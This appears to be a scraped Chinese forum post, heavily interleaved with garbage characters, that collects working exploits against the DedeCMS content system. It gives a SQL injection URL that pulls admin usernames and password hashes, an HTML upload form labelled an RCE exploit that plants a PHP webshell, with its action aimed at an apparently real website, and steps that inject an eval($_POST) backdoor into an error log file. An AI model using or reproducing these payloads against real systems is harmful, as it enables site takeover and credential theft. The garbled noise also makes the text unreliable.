0 ]6 E2 n) h, F d! m 0 f- { d/ z p! G$ l* M & X, m! s. l- m) j3 Y8 }- ]( M- G/ `' J7 q" z4 P
5 \ i0 {$ n" F! l. i- y5 N: |/ T$ ^: `7 d4 E
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞 % v/ `3 D2 ^8 {0 ^3 S' @http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''=' ) B6 ~5 {5 A) N1 S- e& `/ _! D5 E- Y" g6 H& P
1 |( G* h9 L z4 [5 i; j/ k ! J) E3 y9 e& t' f* G) g. m; [5 [ _$ C G/ w; c! Y
5 q ]+ y1 P- | k3 j! X
4 ]- f! L0 O+ K. k
- L! j2 S& ]0 ~2 [# v- O! J
2 n! f/ P. ^" m. z3 m: _7 F! H: L2 `( y
# y6 @6 z& P2 {: }' K& I& P
$ r+ H8 f% @; k2 q I; y织梦(Dedecms)select_soft_post.php页面变量未初始漏洞7 f! l, Q8 D) ?5 x# V: @9 Z
<html>; ~: {' L+ P1 z) [+ F y3 x
<head> / | S0 o% X e: E4 a# A! G<title>Dedecms v55 RCE Exploit Codz By flyh4t</title> , c0 ]5 x+ v) N+ V$ U' i0 I</head> 2 y+ s# O: z0 e/ m, @<body style="FONT-SIZE: 9pt"> " o0 ?/ D1 E/ V$ k+ f. A* g3 n/ h---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />, }) w8 J* d6 T+ r7 k
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'> % X$ B+ F# L* \) ]9 G6 A. R4 A<input type='hidden' name='activepath' value='/data/cache/' /> $ W* K4 [. z, G7 }. x1 k1 S H<input type='hidden' name='cfg_basedir' value='../../' />: i: N6 A; { G; ~
<input type='hidden' name='cfg_imgtype' value='php' />6 c' k: H' E c
<input type='hidden' name='cfg_not_allowall' value='txt' /> ) m1 Y- i: g l) K3 w. _# P<input type='hidden' name='cfg_softtype' value='php' /> ( l' ]7 z W0 i* ]<input type='hidden' name='cfg_mediatype' value='php' />) g, N! f: j; l2 E" E
<input type='hidden' name='f' value='form1.enclosure' />, i& h4 z5 `% k# p2 q- l8 a
<input type='hidden' name='job' value='upload' />; f. R" E* u: o, t, ?; L2 z
<input type='hidden' name='newname' value='fly.php' />& y* n; n; B% I$ ^: \- Y5 s
Select U Shell <input type='file' name='uploadfile' size='25' /># V2 k3 i3 l. `* I6 I) g& C Z$ ?
<input type='submit' name='sb1' value='确定' />7 Y; m/ _' j1 w" J
</form># X2 j+ q. g2 x3 a( a# ^% q h
<br />It's just a exp for the bug of Dedecms V55...<br />3 `, E/ k1 m0 _* @4 t( o
Need register_globals = on...<br /> $ z& P9 n0 b6 NFun the game,get a webshell at /data/cache/fly.php...<br /> + t5 @2 x7 D. x& @! |</body>( @( C# S8 b1 l. _& n8 `
</html> ; e6 w% z( |% s) l: X: ^: M# ^! l3 D: y
u6 L0 q7 y9 J7 A. z8 Z
, r7 ?- I0 p3 _, u8 k; W2 _+ d 4 N g4 Q" ~8 h9 U2 a 8 K9 f& {' n5 o. X2 u( r, D % D, G! `; M8 V- C6 F( T) [ 8 |: v K/ G l( X1 o4 X! n( }' x% }6 }6 y, ~/ G' G$ t4 a5 n- K
3 g( L1 b- p7 g# S2 ^ X# Z7 q
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞0 x! O; c7 O+ L
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。6 y- Y; W: T3 N/ c. O8 G( O
1. 访问网址：* m# K3 p9 @: h: l) T http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>. K3 b$ m/ M8 c6 _ ]. n! f5 {
可看见错误信息 * k. y+ b3 l5 g. G; n6 k0 U6 [. l* C3 e, G" J) K4 k: F
; L% s5 m) o% D2 C! W* v/ n3 `
2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。% Y" G9 i+ w8 x/ m/ A8 D4 D3 t3 v
int(3) Error: Illegal double '1024e1024' value found during parsing4 \( J2 N$ y' }: X: i3 i8 k
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>0 d9 d) E4 {: t
0 K6 W: Y+ U9 u t* {$ Q+ R1 S
3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是 B& R9 V3 X$ S, P7 s, s. d
- q! a+ ^$ J* J
/ K* `( ~7 I/ E: \
<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>) J" d0 Q6 h K